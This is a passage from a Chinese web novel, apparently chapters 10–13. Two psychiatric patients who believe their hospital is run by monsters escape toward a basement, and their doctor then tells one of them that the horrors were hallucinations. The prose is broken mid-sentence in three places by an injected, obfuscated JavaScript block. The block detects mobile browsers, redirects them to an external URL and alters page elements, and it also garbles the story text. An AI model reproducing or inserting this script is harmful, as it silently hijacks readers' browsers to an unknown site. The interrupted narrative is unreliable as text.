陶泽立马摇头,爱惜抚摸着自己的蓬松天然卷,不屑轻哼,“我原本的发型发色就挺好,哪有师傅的手艺比得上大自然的鬼斧神工?” 陶欣然噗嗤一声,手隔着口罩捂住嘴,“还大自然的鬼斧神工。” 陶泽佯作恼羞成怒,“我又没说错。” 他看着自己的亲生母亲,杨女士爱美,但不曾到疯魔的程度。 最近这段时间一瘦再瘦,估计又在连轴转地打工,没吃好睡好。 他们家是单亲家庭,自己住院,开销不低,唯一的收入来源全靠母亲。 而她学历又不高,很难找到像样的工作。 陶泽最喜欢他与母亲一样的自来卷头发,杨女士比他只多不少。 探望他之前却特意染发,这是又白了几根? 陶泽想对母亲说不用担心,他比谁都想尽快出院,可最终只是装了个傻,开了个玩笑,至少能让妈笑起来就行。 “拉斐尔医生昨天打电话给我了。”陶欣然见气氛轻松,壮着胆子提起今日来意,有可能刺激到陶泽的话题。 陶泽皱了下眉,“他说什么了?” 之前忘了跟林归伞说,拉斐尔也是他的主治医生。 陶欣然觑他的脸色,“医生告诉我,查监控时发现小泽你,还有另一个病人撬锁进了档案室。” 陶泽语气有些冷,怒意是冲着告密的拉斐尔来的,“然后呢?” “没有然后了。”陶欣然低声说,“你也别怪医生,是我一再追问他才松的口。” “小泽,实话告诉我,你还是不肯接受现实吗?” 陶泽忍无可忍,“不是我不肯接受现实,我看到的就是现实,都说过无数次了,我没病,脑子没问题,更没有幻觉!” “陶泽!” 陶欣然陡然喝道,站起身怒视着他,眼神是一种濒临爆发,满腔情绪却又不知何去何从的绝望,最后化作无言的泪水。 “你就不能考虑一下我的感受吗?算妈求你了,回到现实里来吧。” 陶欣然颓然低头,握着陶泽的手带他拉下了自己的口罩,“你看看妈这个样子。” 漆黑口罩下,赫然是一张满布烧伤的脸。 皮肤泛着肉质感的暗红,却像枯树皮一般堆起层层褶皱,五官都有些形变,鼻孔外翻,嘴唇歪到无法覆盖牙齿。 陶泽眼中泛出痛色,轻轻地触碰母亲的脸颊。 “别说找工作了,离了口罩,妈连上街都不敢,医院每个月要花几万块,妈一天打几份廉价工赚的钱,甚至还要四处欠债才能凑够。” “妈真的好累,你为什么就不能听话些,配合医生好好治疗?” 陶欣然用力拍打陶泽的手背,哽咽道:“妈甚至好恨你,把原来那个乖巧的小泽还给我好不好!” “妈?”陶泽不可置信地喃喃,分明母亲身体虚弱,即便动手打他也使不出多大力气,可他狼狈地捂着手,只觉痛楚从伤处一直疼到了心脏,窒息般的疼。 陶欣然如梦初醒,似乎才意识到自己做了什么,不断摇头,“对不起,我不是故意的,小泽,妈错了,一时脑子糊涂,妈刚才说的那些都不是真心话。” 她用力扇了自己一个耳光,脸上却带笑,“都怪你,都怪你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831291|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蠢到儿子面前了!” “妈!”陶泽一把攥住母亲的手腕,制止她伤害自己的行为,稳住情绪竭力露出一个平和的笑脸,“我知道妈最疼我了,刚才那些就是不过脑子的气话,对不对?” 陶欣然迟疑点点头,忽然间泣不成声,紧紧拥住陶泽,脑袋埋在他肩膀上,“对不起,我真的是个很不称职的母亲,从来没让你过上一天好日子。” “没有的事。” 陶泽眼眶通红,眨去眼角渗出的泪,颤抖的泣音仍是泄露他心底波澜,一言不发抱紧母亲的腰。 直到上手摸才发现,杨女士瘦得只剩骨架子了,腰身细到他生怕一用力就会折断。 自从他患病以来,母亲一天比一天更憔悴。 过了许久,陶欣然稳定下来,仿佛回忆起陶泽还是襁褓中婴儿的时光般,轻柔地抚摸着他的后脑。 她低声说:“妈从来没有哪怕一刻,后悔生下你。” “我这辈子最幸运的事,就是能当你的母亲。” 陶泽也回以一笑,安心地枕在母亲怀抱里,“我这辈子最幸运的事,也是成为您的儿子。” 他许下承诺,“我会听医生的话,好好治病的。” 陶欣然安了心,展颜一笑,又聊了许久家常琐事,这才依依不舍地离开。 陶泽等见不到她的背影,脸上的笑才淡了下来,冲着门口说:“出来吧,在这听多久了?” 林归伞进门,“就听了个开头。” 她回头看了眼陶欣然离开的方向,“你有个很爱你的母亲。” 陶泽眼角还是红的,看得出来哭过,昂起头理所当然道:“我妈是世界上最好的妈妈。” 林归伞不置可否,垂眸掩去眼底艳羡,“我母亲前不久过世了,听到你们母子的对话,情不自禁逗留,实在不好意思。” 陶泽抿唇,“反正不是什么大不了的事,被你听到也没关系。” “我的幻觉症状,是将养兄看作一个杀害父母的怪物,后来在医院,就是我原定出院却大晚上乱跑的那一次。” 林归伞顿了顿,“幻觉复发,整座医院在我眼里成了魔窟,异化的拉斐尔医生引路,带我看到了藏身地下空间作为祭祀对象的,形象是六对羽翼的眼球怪物。” 陶泽本来还不明白她说这些的意图,直到听到后面,他抬眼冷冷扫来,“你认为自己看到的全是幻觉?” “已经信了这所魔窟的鬼话吗?” 林归伞反问,“不是你自己向母亲答应,听医生的话好好治疗吗?” 陶泽一把打断她,艰涩开口,“稳住我妈的权宜之计而已。” “我绝不认为你所见的,还有我记忆里的那些都是精神病人的荒诞空想。” “这所疯人院有古怪!” 陶泽情绪很不对,就像酒精中毒一样手指发着抖,眼球满布神经质的红血丝,已是愤怒到极点。 “昨天我们才从地下空间那扇门前打道回来,潜入资料室。” “今天我妈就接到医生告密的电话前来探望。” 陶泽以一种笃定的,充斥阴冷的语气说。 “医院在拿我妈威胁我!” 11. 第 11 章 “我以前是个侠盗。”陶泽说。 “飞檐走壁,劫富济贫,可能还有超能力。” “但在最后一次任务失败,给队伍殿后的过程中,应该是狗带了。” 林归伞一脸你在说什么的困惑。 “就是这个表情。”陶泽讽刺地勾了下唇角,指着她,“每次我这样说,周围人都是看神经病的眼神。” 林归伞扭过头,及时调整神色,“抱歉。” 她可太知道,不被所有人信任,反而被当做神经病的滋味了。 “没什么好对不起的,你不是我,看不到我眼中的世界。”陶泽意外的通情达理,也许是对这种事早已习惯。 “其实换我站在你的视角,也没那么容易相信。” “可我的身手是哪儿锻炼来的?反侦查的隐蔽能力,撬锁入侵电脑的本事,还有丈量建筑结构,这些可不是普通人能轻易学到的。” 林归伞顿时哑然。 陶泽迟疑道:“而且我总觉得,世界不应该是现在这个模样,说句大逆不道的,至少不该如此祥和平静。” 林归伞猜测,“你之前说你死了,那这里就是死后世界了?” “不对。”陶泽眉头紧锁,眼中浮现犹豫和挣扎,自己也不是很确定,“应该没那么简单。” “世界还是这个世界,我妈还是我妈,但是总归有哪里不对劲——” “违和感,既视感,还是精神错乱?”陶泽神经质地低喃,死命抓挠平时最爱惜的卷毛。 林归伞一把按住他的肩膀,让他平静下来,“在我的世界观里,有怪物存在,祂们个体实力强大,有轻易修改他人认知的能力。” “那这就说得通了!”陶泽猛然抬头,面露兴奋之色,“除了像我们这样的人,其余人都被怪物篡改了记忆与认知!” 他抓住林归伞的衣袖,“你再仔细说说,那天晚上在地下空间看到了什么?” 林归伞如实描述了一番。 陶泽听完,平静却志得意满说出他的结论,“我没死,这里也不是死后的世界。” “最后一次任务遭受爆炸的时候,被疯人院的怪物救了出来,关在这里当祂的储备粮。” “怪物不是在吸食病人脑髓,而是我们的超能力!” 陶泽说着语气有些飘忽,“超能力这个表述好像有点尴尬,但总而言之,就是不被怪物所洗脑,具有特殊之处的人。” “就是这所疯人院的全体病人!” 陶泽哈哈大笑了起来,从病床上一跃而起,心情前所未有的畅快,“我没疯,我们所有人都没疯,疯了的是这个世界,是所有那些指责我们是疯子的人!” 林归伞跟随他的视线看向窗外,雪白的病号服在花园里来来往往。 所有这些病人都是? 陶泽越说越亢奋,“病人脑子里天马行空的幻想才是这个世界的原貌,疯人院的治疗过程其实是同化。” “他们要将我们也变成普通庸碌的凡人,成为无知无觉的提线木偶,终其一生活在怪物们精心编排的剧本里。” “所以。”他警告地望向林归伞,“我们绝不能被治愈,绝对不要相信你所见的是幻觉。” 林归伞看着这样的陶泽,也许是从小到大给她的教育定了型,实在无法将精神病痊愈成普通人,和怪物同化不受控的异类联系在一起。 因为曾经普通平凡的生活,正是她的梦寐以求。 “你母亲该怎么办?”她在最不恰当的时机问出了这句话。 陶泽整个人都僵住了,脸上烙印深深的痛苦之色,脖子上青筋都蹦了出来,满眼阴鸷,“这就是疯人院的可怕之处。” “他们用母亲威胁我,让我明知道真相,也无法选择对抗。” “可他们错了!”陶泽怒吼。 “但凡用这条小命威胁,我早就乖乖就范了,他们唯独不该,不该拿我妈来压我!” 陶泽像是被触到逆鳞,整个人爆发出一种脱胎换骨的狠戾,对林归伞说:“今晚就跟我一起探索地下空间,我倒要看看疯人院地底究竟藏了什么?” 林归伞只说:“夜晚兴许不安全,还是白天。” “那就明天白天!”陶泽一锤定音,声音从牙关里挤出来,“我迟早要拆了这所破医院。” 林归伞对陶泽说的并不是托词。 她确实觉得白天比夜晚安全,因为如果按照陶泽的猜测,白天病人与家属混在一起,两拨人认知不同,怪物们出动时很难洗脑所有人这是幻觉。 所以当他们踏入地下空间,应该见不到眼球怪物,而是祂在正常世界的伪装。 但这就够了。 她需要知道眼球怪物的行事逻辑,借此对付林雨停。 陶泽出于他母亲的事,心态开始变得偏激冲动,多出来这一个晚上的空闲时间,林归伞需要保持冷静的头脑自考。 她不是很相信陶泽,不信的是他一厢情愿的猜想,而非他这个人。 如果疯人院的目的是同化真正清醒的病人。 如果拉斐尔医生是眼球怪物的帮凶。 那为什么出院前一晚,拉斐尔要让她看到地下空间的眼球怪物?为什么要让她“幻觉”复发? 难道是为了牵制她身边的林雨停? 真相如何,林归伞一时间找不到丝毫头绪。 但至少可以证明,陶泽那一套,在自己这里不适用。 明天。 等到了明天,进入疯人院地下空间后,答案自会揭晓。 当晚林归伞并没有睡好。 对真相即将揭晓的忐忑与期待,担心疯人院察觉她与陶泽的不轨之心,再度发生异变。 她数着钟表滴滴答答的声音,理所当然失眠了。 熬着发红的双眼,等到约定时间,她如约前往陶泽的病房。 陶泽早已等候她多时,“没睡好?” 林归伞嗯了声,揉了揉红肿酸胀的眼皮,“应该不妨事吧?” 陶泽也就随口一问,“只要你不困就行。” “上次咱俩潜入资料室,被查监控发现了,医院通报批评后加强了安保。” “我事先查探过。”陶泽若无其事地说,“急诊楼和我们这里直通的走廊已经被锁上,还有个保安大叔时时刻刻盯着,监控也探照灯似的显眼。” 林归伞:“你过不去吗?” 陶泽冷哼,嫌弃地瞥她一眼,“带着你过不去。” 林归伞:“……” 陶泽下巴点了点窗外,一堵围绕住院楼的高墙,“所以只能绕个远路翻墙出去。” 林归伞为难道:“我——” “知道你身体素质差,翻不了墙。”陶泽抢先说,“到时候我拉你一把,记得出去后第一时间脱了这身病号服。” 林归伞没意见,“就按你说的做。” 事不宜迟,二人开始了行动。 住院楼似乎刚建造的时候,就考虑过病人逃脱的可能,其余三个方向都被厚厚的水泥封死,唯独花园外的墙壁,翻出去后是医院停车场。 林归伞和陶泽装作在自由时间散心,来到了花园。 中心是一座雕塑喷泉,周围铺了石板路,栽种各式修剪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831292|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的花草树木,还有健身设施,看起来更像五脏俱全的小公园。 “有些不妙。”陶泽悠悠哉哉散步时忽然说。 林归伞问,“怎么了?” 陶泽眼神示意,“你没发现门口的护士一直盯着我们吗?” “别回头。”他制止林归伞下意识的冲动,“越回头就越显得心虚。” “看样子是潜入资料室那次,彻底在护士们之间传开了,咱俩被打成了重点关照对象。” 林归伞刚想点头,就听陶泽一声冷笑,“才怪,你以为我会这样说?” “是这所医院的怪物在警惕我们,然后操控了护士。” “没办法了。”陶泽烦躁地踢了几脚石头,“我先上去,再拉你上来。” “安全门那种老式锁我只要几秒就能解开,到时候病号服也不用脱,一落地你只管全力冲刺向地下空间。” 林归伞认真地说:“我知道了。” 说话间,二人已状似无意来到墙根底下,不用陶泽提醒,林归伞都能察觉好几道来自护士的视线,若有似无盯着这边。 “那还等什么呢?”陶泽挑衅般冲护士勾了勾手指,“行动开始!” 话音尚未落,他一个疾跑冲刺,三两下蹬上水泥墙,双手艰难够到了墙沿,手臂肌肉发力翻了上去。 陶泽半边身体趴在墙上,手垂了下来,“快!” 林归伞毫不犹豫握住他的手,脚下想踩点什么东西借力,空出来的手抓在水泥墙上,被粗糙墙面刮得疼。 “别乱动!”陶泽咬牙喊了句,本来这人体重轻,他虽然力气不大但勉强拉得住,这一挣扎就不行了。 林归伞闻言放弃了动作。 “那边那两个病人在做什么?快点下来!”护士察觉不对,远远训斥一声,三五成群朝这边聚过来。 林归伞回头,正见有个护士通过对讲机呼叫保安,而离得最近的护士已到了几步开外。 她心急如焚,但对眼下情况无能为力,“你再加把劲。” 陶泽却突然不再使劲,眼神复杂地看向她。 林归伞生出一股不祥的预感,努力伸手,脚下也在蹬踹,“为什么停下了?再差一点点我就能翻上去。” 陶泽平静说:“仔细一想,我好像没必要带你去地下空间。” “实话说我本来怕死,想让你去那里趟雷,但疯人院用我母亲一激。” 陶泽耸耸肩,“我无所谓了。” 林归伞缓慢地摇头,“你不能这么做。” 陶泽轻哂,就像没听到她的话,“再者说,你并没有完全信任我,别问我怎么知道的,被别人当神经病当久了,我都锻炼出直觉了。” “好好替我当个诱饵,分散我待会儿的压力。” 他用力掰开林归伞死死攥他的手指,“你放心,被护士抓住也不会怎么样,倒是我那边生死未卜。” 林归伞只能眼睁睁看着自己一点点滑落,心中蔓延一丝苦涩。 却忽然,陶泽瞪大双眼,望向她身后,像看到了什么不可思议的事物。 林归伞好像猜到了什么。 果不其然,她转头,正见跑在最前面的护士一把撕开人皮,身形不自然地拔高,成了个满身黑毛,生有钩爪的狰狞怪物。 那东西脑袋部位被一张竖直的嘴撕裂,眼睛各长在两边。 此刻泛黄的牙齿滴着腥臭涎水,冲二人嘶吼一声,嘴巴大张似乎等待林归伞掉下去,做它腹中餐。 陶泽被这极具冲击力的场景看懵了,呆滞片刻后,狠狠骂了一句。 “艹!” 12. 第 12 章 如同言出法随一般,当陶泽骂出那句“艹”,他身下的水泥墙泛起柔软涟漪。 荆棘凭空生长,抽枝蔓延,眨眼间破墙而出取代了原本的水泥。 陶泽眼疾手快,趁荆棘墙成型之前,潜力爆发,一把将林归伞拽了上来。 他先跃下墙头,做了个翻滚卸力的动作,起身后第一时间回转脚步,冲林归伞张开手,仰头喊道:“跳!” 保命要紧,林归伞就像忘了陶泽先前将她当诱饵的举动,毫不犹豫跳了下去。 “嘶——” 陶泽震得手臂一麻,但好歹稳稳将人接住。 他放下林归伞,拉起她的手就跑。 “这……这就是你说的,披人皮的护士?”他显然还记得林归伞自述的经历。 “嗯。”林归伞伸手一指急诊楼的方向,“不止如此,版本还更新了。” 陶泽看了过去,只见方才人来人往的医院此时大变模样。 本该是青天白日,异变却来得如此猝不及防。 太阳陡然被阴云吞噬,天空漆黑如深夜。 雪白大楼早已被荆棘藤覆盖,一扇扇亮灯的窗户后面,站着一个个沉默的人形剪影,就好像医院里所有人都在透过窗注视他们。 医院新铺的马路凭空多了几十年岁月痕迹,荒草丛生,流浪猫狗生疮的尸体上,苍蝇嗡嗡盘旋,停车坪里车辆腐蚀生锈,淌下红色的水,轮胎和沥青融化成一团。 路灯上挂着骨碌碌转动的眼球,每一个都盯了过来,咧开嘴发出嘻嘻的恶劣笑声。 与之截然不同的是,摇摇欲坠的破旧车门打开,衣冠齐整的病人家属下车。 在眼球路灯的目送下,他们推开荆棘门,神情自若与怪物护士交谈。 家属忧心忡忡,“我们家大儿子该去那个诊室?” 护士:“歪比巴卜,歪比歪比。” 然后嘴一张,喷了人家满脸口水。 家属:“知道了,谢谢谢谢。” 生活在两个不同世界的人,此刻奇异地交织在一起,他们井然有序,彼此都像意识不到对方的异常,割裂又融洽。 远处,旁观这一幕的陶泽心下暗骂,扭头对林归伞说:“你不是说疯人院晚上才会异变吗?” 林归伞冷静地解释,“我撞见异变也只有一次,不能百分百推断怪物晚上出没,只说白天相对而言安全系数更高。” “更高?” 陶泽挑起眉毛,努嘴示意急诊楼。 林归伞:“……都说了只是无凭无据的猜测。” “呱。” “什么东西?” 突然这一声打断二人对话,陶泽低头顺着声音源头,看到了脚边一只青蛙。 乖乖巧巧蹲坐着,两颗圆圆眼珠,扁长的嘴看起来像在笑,正歪头打量两个人类。 人性化的神色实在太明显,看得人莫名不舒服。 陶泽轻轻踹了它一脚,没用多大力气,最多将其踹进草丛里。 “呱。” 又一只青蛙从另一个方向冒头,笑眯眯歪头。 陶泽:“……” 他脾气上来,特意走了几步,将青蛙二号一脚踹翻。 “呱。”“呱。”“呱。” 一只又一只,绿皮圆眼,嘴角带笑的青蛙从草丛里冒了出来,放眼望去密密麻麻,连绵成一片绿色海潮,如出一辙带竖线的眼睛,正以同一个频率眨动。 “呱。” “又在搞什么?” 陶泽已经意识到不对,和一旁同样在后退的林归伞对视一眼,二人都看清彼此这一眼的含义—— “跑!” 可四面八方皆是绿色,他们又该往哪里逃? 绿皮的小东西们越堆越高,竟汇聚成翻涌的浪,朝二人狠狠拍打下来。 林归伞与陶泽向两个方向一跃,浪潮扑了个空,青蛙们如同四分五裂的积木块般摔散。 “我操!” 陶泽躲闪间,手臂上不慎滚落一只青蛙,伴随冰凉黏腻的触感,紧接着就是一阵剧痛传来。 他拽着青蛙两条后腿,一用力撕下它半截身子,脑袋像是蜱虫那样残留,还死死咬着自己一块肉。 “嘻嘻。”路灯弯起眼球,发出恶劣的嘲笑。 “笑你爹的笑!” 陶泽心下发了狠,掰着青蛙脑袋的嘴,连带自己一小块肉都撕了下来,对着路灯眼球掷去。 一蓬血水淅淅沥沥浇下。 陶泽撕了一截病号服,勒紧不断流血的伤口,环视着无数蹲在他脚边的青蛙,感到发自内心的森冷。 光是一只就咬下他一块肉,要是这么多只一起缠上他—— “这边!” 林归伞的声音响起,宛若救命稻草。 陶泽狼狈抬头,只见她找了个废弃大巴当临时避难所,开启一条门缝,用安全锤防止青蛙们趁虚而入,正朝他招手。 容不得他多做思考,脚下已经出于本能的求生意识,朝那边飞奔。 林归伞抓紧时机,在陶泽即将进门的一瞬大力推门,然后掐着点关上,期间压死了几十只青蛙。 水生动物腥臭的血伴随粘液飞溅到身上。 林归伞没管,瘫坐在地上,劫后余生大喘着气。 “谢了。”陶泽低声说。 林归伞摇了摇头,示意不用谢,气还没喘匀,她现在不是很想说话。 车窗外青蛙们挤挤挨挨,不留一丝空隙,上百双眼睛直勾勾盯着车内的二人。 吱呀—— 大巴车身传来毛骨悚然的声音。 咚、咚、咚! 它们不再徒劳观望,而是有序地撞击起了窗户。 在如此浩荡的数量之下,大巴车成了一叶小舟,随时有可能倾覆。 “得想个办法出去。”林归伞说,“我之前看到护士用对讲机通知了保安。” “从我们落地到现在只过去了几分钟,你猜保安和护士赶来还要多久?比起这些青蛙哪边更难对付?” 陶泽脸色阴沉,心底已有了答案。 保安护士就算下一秒出现都不奇怪,危险程度只会直线拔高。 他情绪烦躁得很,再一听林归伞依旧平静的叙述,不由带着些怨气问道:“你就一点不带怕吗?” “怕得不行。”林归伞实话实说,“但是不能放弃思考。” 陶泽抿了抿嘴,不知为何气消了些,顺着她这句话也开始转动大脑。 “你为什么要救我?”他忽然问。 林归伞不知道他都这时候了问这个做什么,但还是回答,“护士异变的时候,你没有松手让我落入它口中。” “虽然你之前有抛下我的意图,但不是真的坏心眼。” “既然如此,想救便救了。” 陶泽哦了声,挠了挠一头卷毛,“等见到眼球怪物,你打算对祂做什么?” 林归伞看了他一眼,心知这就是二人最初的分歧,“我要用祂对付杀害我父母的仇人。”然后回归到日常生活。 “仇人?”陶泽默念道,“就是你那个同为怪物的养兄?” 林归伞点头。 “行。”陶泽站起身,“那就不算白忙活了。” 说完这句意义不明的话,他趾高气昂吩咐林归伞,“帮我看看大巴的油箱还剩多少?” 林归伞似乎猜到他打算做什么,脚步略显迟疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831293|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陶泽翻了个白眼,“你还能想出第二个办法吗?靠你手里那个精致小巧的锤子?” 林归伞磨了磨牙,路过卡在门缝里一只还在挣扎的青蛙时,顺手给了它一锤子的解脱。 “油箱快要见底了,但勉勉强强还剩了些。” 陶泽的嗓音有些含糊,“行,快来帮忙。” 林归伞转身,正见他粗暴撕扯下所有窗帘,一条条裹在四肢等关键部位,用牙齿系紧。 “有些地方我够不着,帮我一把。” 突然,一阵剧烈的摇晃迭起,林归伞脚下不稳,耳边听到远远传来的嘶吼声。 “快,没时间了,保安护士赶到了!”陶泽吼道。 林归伞眼神一凛,话不多说抄起窗帘替陶泽裹好致命部位。 期间只听他道:“我先出去打开油箱,即将点火时会通知你,到时候你只管往前冲,一直进入到地下空间。” 陶泽厉声道:“记住不要回头,更不要有丝毫迟疑!” 林归伞一顿,打好最后一个结。 陶泽不用看也知道她是什么表情,撇了撇嘴,“别自作多情,搞得好像有多么悲壮,我没打算送死。” “就当还你一次,这次我主动给你当诱饵。” “而且你背后还站着个怪物,要论起拆医院,你比我更有希望。” 陶泽试了一下,打火机在五指间灵活转动,被裹成粽子也不影响,他点点头,即将推门前色厉内荏道:“虽然我不打算死。” “但是你别忘了我的牺牲,可千万要成功,不然我做鬼也不会放过你!” 林归伞哭笑不得,上前和他一同推门,“别啰嗦了,再说下去咱俩得一起当鬼。” 青蛙们逮着空隙鱼贯涌入,陶泽费劲挤了出去,反手关好门。 他听到林归伞在里面敲地鼠,清理漏网之蛙,身体还没往前走几步就越来越沉,原来是数不清的青蛙试图将他啃食殆尽。 他这辈子都没见过这么多绿色,像是无数蠕动的虫,晃得眼晕。 陶泽分开蛙潮,扯掉脑袋上碍事的青蛙,视线清理一空,终于找到了大巴后车箱,撬开车盖。 窗帘布被拉扯得很紧,最外层已经被咬开,皮肤都能依稀察觉痛感。 陶泽抓紧时间,拉了几下油箱也纹丝不动,干脆一不做二不休,扯下手臂上最后几层窗帘,一口劲塞进油箱,等裹满了汽油再卷成团扔出去。 他强忍被青蛙啃咬的剧痛,用另一只尚未沾染汽油的手,点开了打火机。 “就是现在!” 林归伞敲碎了车窗,毫不犹豫翻了出来。 热浪几乎是下一秒袭来,熊熊烈火舔舐她的后背。 林归伞没有回头,她听到陶泽嚣张的挑衅声,中气十足,冲着保安和护士。 心下稍安,她笔直朝向急诊楼大门,带着孤注一掷的冲劲,越过不明所以的病人家属,直插保安的防线。 一路狂奔,在心底演练过无数次的路线。 终于,她站在了那扇落锁的门前。 身后是怪物护士长着毛的大手,正用力拖拽自己的肩膀。 林归伞只专注于眼前,一锤敲下,砸开了老式挂锁。 安全门的摩擦声无论何时都很刺耳。 尤其医院变得闹哄哄的现在,更是清晰响在耳畔。 依旧是那天晚上熟悉的祭祀石台,六对羽翼覆盖的眼球怪物,正睁眼凝视不速之客。 只是这一次,眼球怪物的旁边正站着一人。 林归伞被怪物护士钳制住,身体动弹不得,却一个劲死死盯着,目光复杂之中还带着心灰意冷的了然。 “果然是你,医生。” 13. 第 13 章 拉斐尔穿着一袭白大褂,脖子上挂着听诊器,半长的金发过肩,一双眼眸有如大海般蔚蓝澄澈,银色细框眼镜坠着防滑链。 交织在他身上的颜色仅此而已,干净又清冷,俊美面容含笑,增添几分矜贵温柔。 他此刻作为一个人类,至少是人类的外在形象,就这样站在生有六对羽翼,虹膜套着一圈圈轮轴的巨大眼球之前。 林归伞再也无法心存侥幸。 “医生,你骗了我。” 拉斐尔闻言,却露出一副奇怪的表情,像是对她的话语不解其意。 他转头,伸手摸了摸飘浮的眼球怪物,“林小姐,我之前就想说了,你眼中的怪物莫非是这台机器?” 林归伞一愣,看向眼球怪物,大脑突感一阵眩晕,视野像被水波迷蒙。 过了好一会儿,她眼前景象才再次清晰。 林归伞用力眨了眨眼睛,眼球怪物所在的位置,赫然是一台四四方方的机器,复杂的显示屏,连接的软管。 “这是用来做电痉挛治疗的。”拉斐尔解释说,“听起来吓人,却是正规手段。” “专门针对具有强烈自杀或伤害他人倾向的病患,拒食、违拗和紧张性木僵者。”他顿了顿,“以及自责自罪者。” “通过定量电流引起休克,从而产生镇静和遗忘的效用,当然操作不当会有强烈副作用,甚至致死的风险。” 拉斐尔通情达理地说:“病人害怕它,将其妖魔化情有可原,不过如今已经十分安全。” 林归伞没有听他在说什么,眼神环顾一圈。 身后的护士穿上人皮,正将她反扭双臂,典型的控制病人的架势。 窗户外天高云远,是个好天气,没有荆棘围墙阻挡视线,阳光照得马路宽阔整洁,哪有遍地荒芜野草? 停车坪的车辆也是主人精心爱惜过的光洁锃亮,路灯并未长眼球,大白天灯泡都是熄灭的。 至于险些让她和陶泽丧命的青蛙。 林归伞远远看去,正见医院外一台挖掘机,伸长机械臂越过围墙,将施工用的碎石倾倒而下。 司机视线受阻,看不到墙内停靠了一辆大巴,石子便噼里啪啦砸在车身上,撞出哒哒哒的脆响,与青蛙呱的叫声些许相似。 大巴刚被陶泽点了一把火,似乎有人通知了司机,挖掘机的动作停了下来,保安终于可以拿灭火器靠近。 陶泽应该没有生命危险了。 林归伞收回视线,依旧注视拉斐尔。 “医生,你还在骗我。” 她不相信幻觉的真面貌就是刚才那些东西,一定是怪物想让她看到的。 拉斐尔这次不急着开口,一双湛蓝的眼睛蒙上憔悴的阴翳,望向林归伞遍体鳞伤还固执死守的模样,深深叹了口气。 他摆手,示意护士松开她,留给二人单独对话的空间。 拉斐尔抽出一张椅子,“林小姐,坐下慢慢说。” 林归伞像是竖起满身尖刺的刺猬,一把挣脱开护士,脚步扎根在门口,“有什么话我就在这里听。” “好。”拉斐尔不会现在就刺激到她。 “从什么地方开始说起呢?”他摘下眼镜,折叠好挂在胸前的口袋,揉了揉眼眶与太阳穴,冷冽的眸子直视林归伞双眼。 “林小姐,我不得不先对你说一声抱歉,因为我确实骗了你。” 林归伞瞳孔骤缩,呼吸加快了一瞬,扶着门框脚步不自禁后退,是躲闪防备的姿势。 拉斐尔视若无睹,“还记得你原定出院前那一晚的幻觉吗?” “前半部分被脸上长满眼睛的我蛊惑,拿药途中路过这间电疗室,后半部分遇到了人类样貌的我。” “我只给你展示了后半部分的监控,是你出现幻觉,全程在与一个不存在的人说话。” “但如果你看了前半部分的监控——” 拉斐尔说着,从口袋里掏出手机,将单独裁剪的监控画面向林归伞展示。 “你会发现那个怪物模样的我,才是真正的我。” 拉斐尔自嘲一笑,“只是孤零零长了两只眼睛,配不上你心目中的模样。” 林归伞即便已经打定主意不听医生任何花言巧语,仍不由自主被他这句内容吸引,手机屏上正是二人在药房攀谈的画面。 拉斐尔没有丝毫异变的模样,风度翩翩,清雅俊逸,熬夜加班带来一丝慵懒的气质。 “逻辑上说不通。”林归伞终于开口,脸色苍白惊悸,显得十分神经质,整个人就像即将崩断的弦。 “安眠药随便一个护士站就有,何必大老远去急诊楼一趟,我当时的状态明显是被你蛊惑了。” “这句话应该问你。”拉斐尔伸手指向她心口,“问你的潜意识。” 他坦然道:“我当时在做诱导治疗,引导你逐一发现关键线索,识破你那套怪物论里的漏洞。” “最后回想起你刻意遗忘的,真正的病历。” “什么病历!”林归伞情绪陡然激动起来,“我没病,分明是你们这些怪物,害得我精神错乱!” 与她的歇斯底里不同,拉斐尔始终维持一贯的平静神色。 “林小姐,你还要坚持己见吗?” 林归伞冷笑,“可不止我一个人有这种想法,陶泽,你的另一个病人也见到了我口中的幻觉,这世上哪有共享幻觉的?” 拉斐尔:“但故事可以,你与他口述过幻觉内容吗?” 林归伞一瞬哑口无言。 “再者说。”她稳了稳思绪,条理有序地反驳,“医院有个隐藏起来的地下空间,每次运送的物资都会莫名其妙少一批,供养地下藏起来的人,这点证据都摆在明面上,这下你总无话可说了吧?” “地下空间?”拉斐尔蹙眉问,“你从陶泽那里听说的?” 林归伞一副直切要害的兴奋,“是又如何?你总算肯承认了,这间电疗室就是地下空间入口的一个幌子吧?” 拉斐尔竟然笑了,笑得无比讽刺。 “陶泽。”他重复低喃了一遍这个名字,“按道理我不能泄露病人隐私,现在是特殊情况,接下来的话你随便听听。” “他是一个妄想症患者,本来的职业是演员,网上搜他的名字应该能出来结果。” 